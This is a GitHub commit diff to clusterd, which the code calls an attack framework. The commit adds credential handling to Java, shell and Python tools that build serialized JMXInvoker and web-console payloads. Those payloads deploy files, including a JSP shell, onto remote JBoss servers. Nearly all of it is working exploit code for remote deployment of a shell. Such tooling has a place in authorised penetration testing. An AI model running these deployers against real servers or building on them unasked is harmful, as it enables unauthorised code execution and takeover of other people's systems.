Skip to content

Commit

Permalink
Merge branch 'dev' of https://github.com/hatRiot/clusterd into dev
Browse files Browse the repository at this point in the history
  • Loading branch information
hatRiot committed May 14, 2014
2 parents 776c45b + a685f10 commit 5684a12
Show file tree
Hide file tree
Showing 4 changed files with 37 additions and 6 deletions.
14 changes: 14 additions & 0 deletions src/lib/jboss/jmxinvoke_deploy/invkdeploy.java
Original file line number Diff line number Diff line change
Expand Up @@ -16,6 +16,7 @@
import org.jboss.invocation.MarshalledValue;
import org.jboss.mx.util.ObjectNameFactory;
import javax.management.ObjectName;
import org.jboss.security.SimplePrincipal;

/*
This application is part of the clusterd attack framework.
Expand Down Expand Up @@ -52,6 +53,9 @@ public static void main (String args[]) throws Exception {
Integer random_value;
String remote_url;
String local_url;
String username = null;
String password = null;
boolean doAuth = false;

// 5.x settings
String jsp_shell = null; // jsp shell
Expand All @@ -69,6 +73,12 @@ public static void main (String args[]) throws Exception {
local_url = args[2];
random_value = Integer.parseInt(args[3]);

if(args.length > 4){
username = (String)args[4];
password = (String)args[5];
doAuth = true;
}

hash = version_hash.get(version);
if(hash == null){
System.out.println("Version unsupported");
Expand Down Expand Up @@ -110,6 +120,10 @@ public static void main (String args[]) throws Exception {
};

payload.setArguments(file_list);
if(doAuth){
payload.setCredential(new MarshalledValue(username));
payload.setPrincipal(new SimplePrincipal(password));
}

FileOutputStream fileOut = new FileOutputStream(save_location);
ObjectOutputStream out = new ObjectOutputStream(fileOut);
Expand Down
12 changes: 10 additions & 2 deletions src/lib/jboss/jmxinvoke_deploy/invkdeploy.sh
Original file line number Diff line number Diff line change
Expand Up @@ -11,7 +11,15 @@
compare_result=`echo $1" > 4.0" | bc`

if [ "$compare_result" -gt 0 ] ; then
java -cp .:../jbossall-client.jar:../console-mgr-classes.jar invkdeploy $1 $2 $3 $4
if [ "$#" -gt 5 ] ; then
java -cp .:../jbossall-client.jar:../console-mgr-classes.jar invkdeploy $1 $2 $3 $4 $5 $6
else
java -cp .:../jbossall-client.jar:../console-mgr-classes.jar invkdeploy $1 $2 $3 $4
fi
else
java -cp .:../jbossall-client-old.jar invkdeploy $1 $2 $3 $4
if [ "$#" -gt 5 ] ; then
java -cp .:../jbossall-client-old.jar invkdeploy $1 $2 $3 $4 $5 $6
else
java -cp .:../jbossall-client-old.jar invkdeploy $1 $2 $3 $4
fi
fi
3 changes: 2 additions & 1 deletion src/lib/jboss/webconsole_deploy/webc_deploy.java
Original file line number Diff line number Diff line change
Expand Up @@ -7,6 +7,7 @@
import org.jboss.console.remote.RemoteMBeanInvocation;
import org.jboss.security.SecurityAssociation;
import org.jboss.security.SimplePrincipal;
import org.jboss.invocation.MarshalledValue;

/*
This application is part of the clusterd attack framework.
Expand Down Expand Up @@ -45,7 +46,7 @@ public static void main ( String args[] ) throws Exception {

if ( args.length > 2 && args[2] != "None"){
SecurityAssociation.setPrincipal(new SimplePrincipal(args[2]));
SecurityAssociation.setCredential(args[3]);
SecurityAssociation.setCredential(new MarshalledValue(args[3]));
}
} catch(Exception e){
System.err.println(e);
Expand Down
14 changes: 11 additions & 3 deletions src/module/deploy_utils.py
Original file line number Diff line number Diff line change
Expand Up @@ -97,10 +97,18 @@ def invkdeploy(version, url, local_url, random_int):
"""

res = None
creds = None
if state.usr_auth != None:
creds = state.usr_auth.split(':')
try:
res = check_output(["./invkdeploy.sh", version, url,
local_url, str(random_int)],
cwd="./src/lib/jboss/jmxinvoke_deploy")
if creds != None:
res = check_output(["./invkdeploy.sh", version, url,
local_url, str(random_int),creds[0],creds[1]],
cwd="./src/lib/jboss/jmxinvoke_deploy")
else:
res = check_output(["./invkdeploy.sh", version, url,
local_url, str(random_int)],
cwd="./src/lib/jboss/jmxinvoke_deploy")
except Exception, e:
utility.Msg(e, LOG.DEBUG)
res = str(e)
Expand Down

0 comments on commit 5684a12

Please sign in to comment.